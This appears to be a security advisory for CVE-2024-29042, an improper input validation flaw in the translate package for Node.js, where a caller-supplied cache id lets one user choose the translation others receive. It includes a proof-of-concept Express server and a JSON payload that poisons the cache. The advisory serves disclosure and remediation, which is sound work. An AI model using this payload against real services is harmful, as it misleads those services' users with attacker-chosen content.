Improper Input Validation Affecting translate package, versions <3.0.0
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- published24 Mar 2024
- disclosed22 Mar 2024
- creditPinkDraconian
Introduced: 22 Mar 2024
CVE-2024-29042 (opens in a new tab)How to fix?
Upgrade translate to version 3.0.0 or higher.
Overview
translate is a Translate text to different languages on node.js and the browser
Affected versions of this package are vulnerable to Improper Input Validation due to the manipulation of the second variable of the translate function. An attacker can change the outcome of translation requests made by subsequent users by controlling this variable. The opt.id parameter allows for the overwriting of the cache key, enabling an attacker to set the id variable to a cache key that would be generated by another user, thereby choosing the response that user gets served.
PoC
Server allowing users to supply text and the language to translate to:
import translate from "translate"; import express from 'express';const app = express(); app.use(express.json());
app.post('/translate', async (req, res) => { const { text, language } = req.body; const result = await translate(text, language); return res.json(result); });
const port = 3000; app.listen(port, () => { console.log(Server is running on port ${port}); });
Payload:
{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}